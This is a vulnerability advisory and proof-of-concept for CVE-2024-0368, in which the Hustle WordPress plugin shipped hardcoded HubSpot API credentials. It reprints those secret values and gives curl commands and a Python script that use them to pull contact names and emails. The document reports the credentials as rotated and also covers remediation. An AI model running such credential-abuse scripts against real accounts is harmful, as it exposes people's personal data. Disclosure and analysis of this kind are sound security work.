# CVE-2024-0368 Hustle Plugin <= 7.8.3 contains hardcoded HubSpot API credentials in inc/providers/hubspot/hustle-hubspot-api.php ## Vulnerability Summary | Field | Value | |-------|-------| | **CVE ID** | CVE-2024-0368 | | **Title** | Hustle <= 7.8.3 - Sensitive Information Exposure via Exposed HubSpot API Keys | | **CVSS Score** | 8.6 (High) | | **Affected Plugin** | Hustle - Email Marketing, Lead Generation, Optins, Popups (`wordpress-popup`) | | **Vulnerable Versions** | <= 7.8.3 | | **Patched Version** | 7.8.4 | | **Vulnerability Type** | CWE-200: Exposure of Sensitive Information | ## Technical Analysis ### Vulnerable Code Location **File:** `inc/providers/hubspot/hustle-hubspot-api.php` ```php class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API { const CLIENT_ID = '5253e533-2dd2-48fd-b102-b92b8f250d1b'; const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca'; const HAPIKEY = 'db9600bf-648c-476c-be42-6621d7a1f96a'; const BASE_URL = 'https://app.hubspot.com/'; const API_URL = 'https://api.hubapi.com/'; const SCOPE = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write'; ``` ### Exposed Credentials | Credential | Value | Purpose | |------------|-------|---------| | `CLIENT_ID` | `5253e533-2dd2-48fd-b102-b92b8f250d1b` | OAuth2 Application Identifier | | `CLIENT_SECRET` | `2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca` | OAuth2 Client Secret | | `HAPIKEY` | `db9600bf-648c-476c-be42-6621d7a1f96a` | HubSpot Legacy API Key | ### OAuth Scopes (Potential Access) The hardcoded OAuth configuration requested the following HubSpot scopes: - `oauth` - OAuth authentication - `crm.objects.contacts.write` - Create/modify contacts - `crm.objects.contacts.read` - Read contact information (PII) - `crm.lists.read` - Read marketing lists - `crm.lists.write` - Modify marketing lists - `crm.schemas.contacts.write` - Modify contact schemas - `crm.schemas.contacts.read` - Read contact schemas ## Vulnerability Explanation ### Root Cause WPMUDEV hardcoded their own HubSpot OAuth application credentials directly in the plugin source code. This is a violation of secure development practices as: 1. **Public Exposure**: WordPress plugins are open source - the code is publicly available on wordpress.org SVN repository 2. **Mass Distribution**: The Hustle plugin has 100,000+ active installations 3. **Shared Credentials**: All plugin installations share the same API credentials ### Attack Vector An attacker could: 1. Download the vulnerable plugin from wordpress.org 2. Extract the hardcoded credentials from the PHP source 3. Use these credentials to authenticate to HubSpot's API 4. Access WPMUDEV's HubSpot account and any data processed through their integration ### Potential Impact With valid credentials, an attacker could potentially: - **Read PII**: Access contact information (names, emails, phone numbers, addresses) - **Modify Data**: Create, update, or delete contacts in HubSpot - **Marketing List Access**: View and manipulate marketing lists - **Data Exfiltration**: Extract subscriber data from sites using Hustle + HubSpot integration ## Proof of Concept ### Step 1: Locate Vulnerable File ```bash # From WordPress installation cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT" ``` **Output:** ```php const CLIENT_ID = '5253e533-2dd2-48fd-b102-b92b8f250d1b'; const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca'; const HAPIKEY = 'db9600bf-648c-476c-be42-6621d7a1f96a'; ``` ### Step 2: Test API Key Access (Contacts) ```bash curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10" ``` **Note:** As of testing, the API key has been rotated/expired (expected post-disclosure): ```json { "status": "error", "message": "The API key used to make this call is expired.", "category": "EXPIRED_AUTHENTICATION" } ``` ### Step 3: Test OAuth Flow ```bash curl -X POST "https://api.hubapi.com/oauth/v1/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca" ``` **Response:** Credentials have been invalidated. ## Exploitation Script (Python) ```python #!/usr/bin/env python3 """ CVE-2024-0368 - HubSpot API Key Exposure PoC Hustle Plugin <= 7.8.3 This script demonstrates the vulnerability by attempting to use the exposed credentials to access HubSpot API. For authorized security testing only. """ import requests import json # Hardcoded credentials from vulnerable plugin CREDENTIALS = { "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b", "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca", "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a" } HUBSPOT_API = "https://api.hubapi.com" def test_api_key(): """Test if the leaked API key is still valid""" print("[*] Testing HubSpot API Key...") url = f"{HUBSPOT_API}/crm/v3/objects/contacts" params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1} response = requests.get(url, params=params) data = response.json() if response.status_code == 200: print("[+] API Key is VALID - Vulnerability Exploitable!") print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}") return True else: print(f"[-] API Key status: {data.get('message', 'Unknown error')}") return False def test_oauth(): """Test OAuth client credentials""" print("[*] Testing OAuth credentials...") url = f"{HUBSPOT_API}/oauth/v1/token" data = { "grant_type": "client_credentials", "client_id": CREDENTIALS["client_id"], "client_secret": CREDENTIALS["client_secret"] } response = requests.post(url, data=data) result = response.json() if "access_token" in result: print("[+] OAuth credentials VALID - Got access token!") return result["access_token"] else: print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}") return None def extract_contacts(api_key=None, access_token=None): """Extract contacts if credentials are valid""" print("[*] Attempting to extract contacts...") url = f"{HUBSPOT_API}/crm/v3/objects/contacts" headers = {} params = {"limit": 100} if access_token: headers["Authorization"] = f"Bearer {access_token}" elif api_key: params["hapikey"] = api_key response = requests.get(url, headers=headers, params=params) if response.status_code == 200: contacts = response.json() print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts") for contact in contacts.get("results", [])[:5]: props = contact.get("properties", {}) print(f" - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}") return contacts return None if __name__ == "__main__": print("=" * 60) print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure") print("=" * 60) print() # Test leaked credentials api_valid = test_api_key() access_token = test_oauth() print() if api_valid or access_token: print("[!] VULNERABILITY CONFIRMED - Credentials are still active!") extract_contacts( api_key=CREDENTIALS["hapikey"] if api_valid else None, access_token=access_token ) else: print("[*] Credentials have been rotated (expected post-disclosure)") print("[*] Vulnerability exists in code - credentials were exposed") print() print("=" * 60) ``` ## Verification Results **Environment:** - WordPress: Running on Docker - Plugin Version: 7.8.2 (Vulnerable) - Vulnerable File: Confirmed present with hardcoded credentials **Credential Status:** - API Key (`HAPIKEY`): Expired/Rotated (post-disclosure) - OAuth Credentials: Invalidated (post-disclosure) **Conclusion:** The vulnerability is **confirmed** - the hardcoded credentials exist in the source code and were previously exploitable. WPMUDEV has rotated the credentials following responsible disclosure. ## Remediation ### Vendor Fix (v7.8.4+) The patch removes hardcoded credentials and implements proper credential storage: - Credentials moved to database/environment configuration - Users must now configure their own HubSpot API credentials - No shared credentials between installations ### User Recommendations 1. **Update Immediately**: Upgrade to Hustle 7.8.4 or later 2. **Reconfigure HubSpot**: Set up HubSpot integration with your own credentials 3. **Audit Access Logs**: Check HubSpot for unauthorized API access during the vulnerable period ## Timeline | Date | Event | |------|-------| | 2024-01-05 | CVE-2024-0368 Published | | 2024-03-08 | Patch released in version 7.8.4 | | Post-disclosure | Credentials rotated by WPMUDEV | ## References - [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/id/e6d40b41-540d-476d-afde-970845543933) - [WordPress Plugin Changeset](https://plugins.trac.wordpress.org/changeset/3047775/wordpress-popup) - [HubSpot API Documentation](https://developers.hubspot.com/docs/api) - [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2024-0368) --- *Generated for authorized security research purposes*